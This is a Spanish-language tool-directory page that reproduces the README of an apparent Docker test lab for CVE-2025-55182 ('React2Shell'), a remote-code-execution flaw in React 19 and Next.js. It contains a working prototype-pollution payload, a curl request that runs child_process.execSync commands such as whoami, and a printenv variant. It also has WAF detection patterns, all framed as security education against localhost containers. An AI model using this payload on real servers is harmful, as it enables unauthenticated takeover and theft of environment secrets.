Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-test-lab-windows — Laboratorio de prueba basado en Docker para la vulnerabilidad de RCE CVE-2025-55182 (React2Shell) en React 19.1.0/Next.js 15.1.0. Incluye scripts de explotación, pruebas de omisión de WAF con NGINX/ModSecurity y comparación de versiones parcheadas para educación en seguridad. | Kitploit
Herramientas/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebEvasión de WAFCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Laboratorio de prueba basado en Docker para la vulnerabilidad de RCE CVE-2025-55182 (React2Shell) en React 19.1.0/Next.js 15.1.0. Incluye scripts de explotación, pruebas de omisión de WAF con NGINX/ModSecurity y comparación de versiones parcheadas para educación en seguridad.

Ver Repositorio
20hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 (React2Shell) Prueba

⚠️ Advertencia: Contiene una vulnerabilidad de ejecución remota de código (RCE) que funciona realmente.

📋 Índice

  • Resumen
  • Información de la vulnerabilidad
  • Inicio rápido
  • Demostración real del ataque
  • Entorno de prueba
  • Reglas de defensa WAF
  • Estructura de archivos
  • Material de referencia
  • Aviso legal

Resumen

Entorno de prueba en contenedor para la vulnerabilidad CVE-2025-55182 (React2Shell).

Características principales

  • ✅ Reproducción real de la vulnerabilidad - Entorno React 19.1.0 / Next.js 15.1.0
  • ✅ Ataque RCE exitoso - Ejecución real de comandos verificada
  • ✅ Prueba de defensa WAF - Configuración de reglas NGINX y Apache ModSecurity
  • ✅ Comparación de versiones parcheadas - Prueba de versión vulnerable vs. versión parcheada
  • ✅ Entorno Docker completo - Entorno de contenedor aislado

Resultado del ataque

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Información de la vulnerabilidad

CVE-2025-55182 (React2Shell)

Puntuación CVSS: 10.0 (CRÍTICA)
Impacto: Ejecución remota de código (RCE)
Requisitos de autenticación: Ninguno
Vector de ataque: Red

Versiones vulnerables

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Versiones parcheadas

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Principio del ataque

  1. Contaminación de prototipos (Prototype Pollution) - Contaminación del prototipo a través de $1:__proto__:then
  2. Acceso al constructor de funciones (Function Constructor) - Acceso a través de la deserialización de Blob (prefijo $B)
  3. Ejecución de código arbitrario - Creación de funciones con código controlado por el atacante
  4. Ejecución de comandos del sistema - RCE a través de child_process
// Estructura del payload de ataque
{
  "then": "$1:__proto__:then",           // Contaminación de Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Desencadenar deserialización de Blob
  "_response": {
    "_prefix": "código_malicioso",               // Código a ejecutar
    "_formData": {
      "get": "$1:constructor:constructor"  // Acceso al constructor de funciones
    }
  }
}

Inicio rápido

Requisitos previos

  • Docker Desktop
  • Node.js 20+ (para pruebas locales, opcional)
  • Mínimo 4 GB de RAM
  • Al menos 2 GB de espacio libre en disco

Paso 1: Iniciar el entorno

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Paso 2: Verificar el estado

.\run-tests.ps1 status

Debe esperar hasta que todos los contenedores estén en estado healthy (aproximadamente 1-2 minutos).

Paso 3: Ejecutar el ataque

Windows (PowerShell):

# Método 1: Usar script de PowerShell (recomendado)
.\tests\exploit-working.ps1

# Método 2: Ejecutar directamente con Node.js
node tests\exploit-working.js

Paso 4: Verificar resultados

Puede ver los resultados de la ejecución de comandos en los logs del servidor:

docker compose logs vulnerable-app --tail=20

Demostración del ataque

Script de ataque automatizado

exploit-working.js ⭐ Recomendado

Windows:

# Script de PowerShell (recomendado)
.\tests\exploit-working.ps1

# O ejecutar directamente con Node.js
node tests\exploit-working.js

Contenido de la ejecución:

  • ✅ Ejecución de comandos de shell arbitrarios
  • ✅ Captura de la salida de comandos en los logs del servidor
  • ✅ Prueba automática de múltiples comandos
  • ✅ Informe detallado de la vulnerabilidad

Comandos probados:

  • whoami - Usuario actual (root)
  • hostname - Nombre del host del contenedor
  • pwd - Directorio de trabajo (/app)
  • id - Información completa del usuario
  • uname -a - Información del sistema
  • node --version - Versión de Node.js

Ataque manual

Ataque directo con curl

# Crear archivo de payload
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Enviar el ataque
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Verificar logs de ejecución
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Ejecución de comandos personalizados

Puede modificar el script de ataque para ejecutar los comandos que desee:

// En el archivo exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Listado del directorio de la aplicación' },
  { name: 'env', cmd: 'printenv', desc: 'Mostrar variables de entorno' }
]

Entorno de prueba

Contenedores Docker

PuertoServicioVersión de ReactPropósitoEstado del WAF
3000vulnerable-app19.1.0Vulnerable - Prueba CVE-2025-55182❌ Sin protección
3001patched-app19.1.2Seguro - Verificación del parche✅ Parcheado
8080nginx → vulnerable19.1.0Prueba WAF (NGINX)⚠️ Limitado (sin inspección de body)
8081apache → vulnerable19.1.0Prueba WAF (ModSecurity)⚠️ Limitado (respuesta 405)
8082nginx → patched19.1.2Prueba de doble protección✅ Parcheado

Entorno de la aplicación

  • Framework: Next.js 15.1.0 (App Router)
  • Versión de React: 19.1.0 (vulnerable)
  • Node.js: 20.19.6

Escenarios de prueba

Escenario 1: Ataque a la versión vulnerable

# Ejecutar ataque funcional
node tests/exploit-working.js

# Resultado esperado: Ejecución de comandos exitosa
# Salida: Información del usuario, detalles del sistema, etc.

Escenario 2: Prueba de la versión parcheada

Windows (PowerShell):

# Usar script de PowerShell
.\tests\exploit-working.ps1 -Port 3001

Resultado esperado: Ataque fallido (React 19.1.2 bloquea el ataque)

Escenario 3: Prueba de bloqueo WAF

Windows (PowerShell):

# Intentar ataque a través del WAF NGINX
.\tests\exploit-working.ps1 -Port 8080

Resultado esperado: Bloqueado por las reglas WAF


Reglas de defensa WAF

Reglas de defensa NGINX

Ubicación: nginx/nginx.conf

Patrones de detección:

  1. Contaminación de prototipos - __proto__, constructor:constructor
  2. Abuso del protocolo Flight - $X:__proto__, referencia $B
  3. Cadena de gadgets - child_process, execSync, require()
  4. Evitación de codificación URL - %5f%5fproto%5f%5f
  5. Cabeceras sospechosas - Next-Action: #constructor

Comportamiento de bloqueo:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Reglas de Apache ModSecurity

Descargar herramienta